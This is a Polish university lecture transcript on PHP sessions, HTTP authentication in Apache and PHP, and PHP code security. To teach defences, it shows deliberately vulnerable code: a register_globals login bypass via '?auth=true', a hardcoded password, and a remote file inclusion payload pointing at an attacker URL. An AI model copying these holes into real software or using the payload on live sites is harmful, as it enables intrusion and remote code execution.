1 / 44

Kurs WWW – wykład 10

Kurs WWW – wykład 10. Paweł Rajba pawel@ii.uni.wroc.pl http://www.ii.uni.wroc.pl/~pawel/. PHP i sesje - wprowadzenie. Jak to działa? po co to? – stan aplikacji rola klienta i serwera identyfikator sesji (cookie lub zmienna GET). PHP i sesje - wprowadzenie. Utworzenie sesji

Télécharger la présentation

Kurs WWW – wykład 10

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Kurs WWW – wykład 10 Paweł Rajba pawel@ii.uni.wroc.pl http://www.ii.uni.wroc.pl/~pawel/

  2. PHP i sesje - wprowadzenie • Jak to działa? • po co to? – stan aplikacji • rola klienta i serwera • identyfikator sesji (cookie lub zmienna GET)

  3. PHP i sesje - wprowadzenie • Utworzenie sesji • Korzystanie z sesji Klient wysyła żądanie zasobu KLIENT SERWER Serwer odsyła identyfikator nowo utworzonej sesji Na serwerze tworzona jest nowa sesja Klient wysyła żądanie zasobu dołączając identyfikator sesji KLIENT SERWER Na serwerze odtwarzane są dane sesji

  4. PHP i sesje – zestaw funkcji • string session_name ([string nazwa]) • pobierz i/lub ustaw nazwę dla sesji • wywołujemy przed session_start() • używana w identyfikatorze sesji (ciastka lub URL, domyślnie PHPSESSID) • jeśli chcemy zmienić nazwę, to musimy ją wywoływać na każdej stronie – w przeciwnym razie od razu przywracana jest wartość z session.name

  5. PHP i sesje – zestaw funkcji • string session_id ([string id]) • pobierz i/lub ustaw identyfikator sesji • jeżeli zmienić identyfikator bieżącej sesji, to musimy wywołać funkcję przed session_start() • bool session_start(void) • tworzy (lub odtwarza) sesję w oparciu o identyfikator sesji przekazywany przez COOKIE lub parametr w URL. • jeżeli używamy sesji opartych o cookies, to session_start() musi być wywołane przed wysłaniem czegokolwiek do przeglądarki

  6. PHP i sesje – zestaw funkcji • void session_write_close(void) • zapisuje dane i kończy sesję • void session_commit(void) • alias do session_write_close() • bool session_destroy(void) • niszczy sesję, nie usuwa ciasteczka • prosty sposób usunięcia ciastka sesyjnego: setcookie(session_name(),"",0,"/")

  7. PHP i sesje – przykład • licznik.php

  8. PHP i sesje – zestaw funkcji • string session_save_path([string ścieżka]) • pobierz i/lub ustaw ścieżkę zapisu bieżącej sesji • w Foxserv domyślnie: C:\FoxServ\sessiondata • bool session_regenerate_id(void) • tworzy nowy identyfikator dla sesji (dostępne od PHP 4.3.2)

  9. PHP i sesje – zestaw funkcji • string session_encode(void ) • koduje dane sesji do postaci stringu • bool session_decode(string dane) • odtwarza dane sesji ze stringu • najpierw trzeba użyć session_start • void session_set_cookie_params( int czas_życia [, string ścieżka [, string domena]]) • ustawia parametry ciastka sesji

  10. PHP i sesje – zestaw funkcji • array session_get_cookie_params(void) • zwraca parametry ciasteczka sesji • lifetime – czas życia sesji • path – ścieżka dla sesji • domain – domena ciasteczka • secure – ciasteczko może być przesyłane tylko poprzez biezpieczne połączenie

  11. PHP i sesje – zmienne (cz. 1) • bool session_register(mixed nazwa [, mixed ...]) • rejestruje zmienną globalną jako zmienną sesji $dilbert = "Fajny komiks"; session_register("dilbert"); • bool session_unregister(string nazwa) • wyjestruj zmienną z bieżącej sesji

  12. PHP i sesje – zmienne (cz. 1) • void session_unset(void) • zwalnia wszystkie zmienne sesji • bool session_is_registered(string nazwa) • sprawdza, czy zmienna jest zarejestrowana

  13. PHP i sesje – zmienne (cz. 2) • Używamy tablicy $_SESSION[ ] (w starszych wersjach $HTTP_SESSION_VARS[ ]) • ustanowienie zmiennej sesyjnej $_SESSION["zmienna"] = "a to jej wartosc" • usunięcie zmiennej sesyjnej unset($_SESSION["zmienna"]) • usunięcie wszystkich zmiennych $_SESSION = array() • sprawdzenie, czy zmienna istnieje isset($_SESSION["zmienna"])

  14. PHP i sesje - przykłady • Niszczenie sesji (pierwszy sposób) <?php // Jeśli używasz sesion_name("cośtam"), // nie zapomnij o tym teraz! session_start(); session_unset(); session_destroy(); ?>

  15. PHP i sesje - przykłady • Niszczenie sesji (drugi sposób) <?php // Jeśli używasz sesion_name("cośtam"), // nie zapomnij o tym teraz! session_start(); $_SESSION = array(); session_destroy(); ?>

  16. PHP i sesje • Propagowanie identyfikatora w URLu • kiedy stosować? • stała SID • opcja --enable-trans-sid • opcja --enable-trans-sid, a wydajność – różnica ok. 10% • Zapisywanie danych sesji w bazie danych • do czego może się to przydać? (personalizacja) • funkcje session_encode() i session_decode()

  17. PHP i sesje – opcje • session.save_path • określa, gdzie będą tworzone pliki z danymi sesji • domyślnie: C:\FoxServ\sessiondata • session.name • określa nazwę sesji, która będzie też nazwą ciastka • domyślnie PHPSESSID

  18. PHP i sesje – opcje • session.auto_start • określa, czy sesja ma być uruchamiana automatycznie na początku wywołania • domyślnie 0 (wyłączone) • session.cookie_lifetime • określa w sekundach długość życia ciastka sesyjnego • 0 oznacza "dopóki przeglądarka nie została zamknięta" • domyślnie 0

  19. PHP i sesje – opcje • session.use_cookies • określa, czy identyfikator sesji będzie po stronie klienta pamiętany za pomocą ciastka • domyślnie 1 (włączone) • session.use_only_cookies • określa, czy do pomiętania id sesji mają być wykorzystywane tylko ciastka • domyślnie 0 (ze względu na kompatybilność) • zwiększa bezpieczeństwo

  20. Kontrola dostępu do danych • Terminologia • Authentication – identyfikacja • Authorization – czy jest dostęp do zasobu • Access Control – sterowanie dostępem do zasobu (może zależeć od innych czynników)

  21. Autoryzacja HTTP • Rodzaje • Basic • Digest • Główna zaleta Digest – hasło nie jest przesyłane jawnym tekstem

  22. Autoryzacja HTTP w Apache'u • Najpierw sprawdzamy, czy apache jest skompilowany z modułem mod_auth.c apache.exe -l httpd -l • Upewniamy się, że pliku httpd.conf jest wpis AllowOverride All • Teraz, możemy utworzyć plik .htaccess w każdym katalogu w którym chcemy sterować prawami dostepu

  23. Autoryzacja HTTP w Apache'u • Przykładowa zawartość pliku .htaccess <Files tajne.php supertajne.php> AuthType Basic AuthUserFile /usr/local/apache/users AuthName "Administration Module" Require valid-user // pawel zenek Order allow,deny Allow from swiatowit.ii.uni.wroc.pl Deny from all Satisfy any // all </Files> • Pominięcie znacznika Files sprawi, że chroniona będzie cała zawartość katalogu

  24. Autoryzacja HTTP w Apache'u • Na końcu tworzymy użytkownika htpasswd -c users pawel htpasswd users john • istotne, żeby pliku z użytkownikami nie trzymać w miejscu dostępnym z przeglądarki

  25. Autoryzacja HTTP w Apache'u • Podsumowanie • wystarcza przy mało wymagającej autoryzacji • ograniczenia przy zarządzaniu użytkownikami • interfejs przeglądarki • wylogowanie poprzez wyłączenie przeglądarki • konieczność ingerencji w konfigurację serwera

  26. Autoryzacja HTTP w PHP • Kilka uwag na początek: • obsługiwana tylko wtedy, gdy PHP działa jako moduł Apache (jako CGI – nie działa) • obecnie obsługiwana jest tylko autoryzacja typu Basic • po wysłaniu nagłówków, użytkownik wpisuje dane użytkownika i hasło, które są przekazywane w zmiennych • $_SERVER['PHP_AUTH_USER'] • $_SERVER['PHP_AUTH_PW']

  27. Autoryzacja HTTP w PHP • Przykład: httpauth.php

  28. Autoryzacja – sesje w PHP • Etapy dostępu do danych • Logowanie • pobranie danych użytkownika (login + hasło) • weryfikacja • odnotowanie faktu weryfikacji w logach • rozpoczęcie sesji

  29. Autoryzacja – sesje w PHP • Etapy dostępu do danych • Użycie sesji • podtrzymanie sesji • ponowna weryfikacja uprawnień • Wylogowanie • zakończenie sesji • odnotowanie faktu w logach • usunięcie danych związanych z sesją (ważne)

  30. Autoryzacja – sesje w PHP • Przykład: login.php i pokaz.php

  31. Autoryzacja – sesje w PHP • Sprawdzanie hasła: • jak w przykładzie • na podstawie pliku tekstowego • na podstawie bazy danych • W miarę możliwości nigdzie nie trzymamy haseł w postaci jawnej

  32. Autoryzacja – sesje w PHP • Zalety przechowywania haseł w pliku • dobre dla obsługi kilku użytkowników • łatwa obsługa • nie wymagają dodatkowego oprogramowania • Zalety przechowywania haseł w bazie danych • możliwość obsługi bardzo wielu użytkowników • szybszy dostęp • lepsze zarządzanie zawartością • większe bezpieczeństwo

  33. Autoryzacja – sesje w PHP • Przesyłanie hasła • jawny tekst • szyfrogram md5 (obliczany po stronie klienta)

  34. Bezpieczeństwo kodu PHP • Opcja register_globals w php.ini • jej włączenie powoduje, że wszystkie dane pochodzące od użytkownika są dostępne z poziomu zmiennej (POST, GET, COOKIE, ...) • powinna być wyłączona (Off) i tak jest domyślnie • Przykład (login.php): <?php if ($password == "as3jksj4w") $auth=true; if ($auth) uruchom_tajne_procedury(); ?>

  35. Bezpieczeństwo kodu PHP • A teraz uruchamiamy skrypt login.php?auth=true • Przykład: (login.php ulepszony) <?php $auth=false; if ($password == "as3jksj4w") $auth=true; if ($auth) uruchom_tajne_procedury(); ?>

  36. Bezpieczeństwo kodu PHP • Raportowanie błędów – error_reporting() • podczas pisania skryptów, testowania należy włączyć raportowanie error_reporting(E_ALL) • przy wdrażaniu aplikacji należy wszystkie raportowania bezwzględnie powyłączać error_reporting(0)

  37. Bezpieczeństwo kodu PHP • Weryfikacja danych pochodzących od użytkownika • sprawdzić należy wszystkie dane w szczególności pod kątem • typ danych • zawartość • długość • akceptujemy te tylko dane, których się spodziewaliśmy • nigdy nie polegamy na weryfikacji po stronie klienta

  38. Bezpieczeństwo kodu PHP • W jaki sposób weryfikować? • sprawdzić typy • skorzystać z wyrażeń regularnych • sprawdzić wielkość • sprawdzić zbiór dopuszczalnych wartości • ...

  39. Bezpieczeństwo kodu PHP • Przykład: <?php if (isset($_GET["plik"])) include($_GET["plik"]); ?> i agresor robi tak: skrypt.php?plik=http://agresor.pl/zlosliwy.php

  40. Bezpieczeństwo kodu PHP • Wszystkie pliki PHP powinny być przez serwer parsowane • jeżeli dajemy rozszerzenie .inc, to musimy się upewnić, że pliki z tym rozszerzeniem są interpretowane • Nie należy dawać możliwości oglądnięcia wyniku działania funkcji phpinfo()

  41. Bezpieczeństwo kodu PHP • Upload plików • należy upewniać się, że upload pliku faktycznie miał miejsce – służą do tego funkcje • is_uploaded_file() • move_uploaded_file()

  42. Bezpieczeństwo kodu PHP • Tryb bezpieczny (safe_mode) • jeśli możliwe, należy z tego korzystać, chociaż lepiej dobrze skonfigurować serwer WWW • skrypt ma dostęp tylko to tych plików których właścicielem jest właściciel skryptu

  43. Bezpieczeństwo kodu PHP • Dyrektywy odpowiedzialne za tryb bezpieczny • safe_mode = Off • safe_mode_gid = 0 • safe_mode_include_dir = • safe_mode_exec_dir = • open_basedir = • safe_mode_allowed_env_vars = PHP_ • safe_mode_protected_env_vars = LD_LIBRARY_PATH • disable_functions =

  44. Bezpieczeństwo kodu PHP • Ukrywanie rozszerzeń • dodajemy w pliku httpd.conf (ewentualnie .htaccess) AddType application/x-httpd-php .htm .html • Ukrywanie hasła do bazy danych (plik httpd.conf) <Directory "C:\Foxserv\www\test"> php_admin_value open_basedir C:\Foxserv\www\test php_admin_value disable_functions a3js8ge4a2 </Directory> <?php echo ini_get("disabled_functions"); ?>

More Related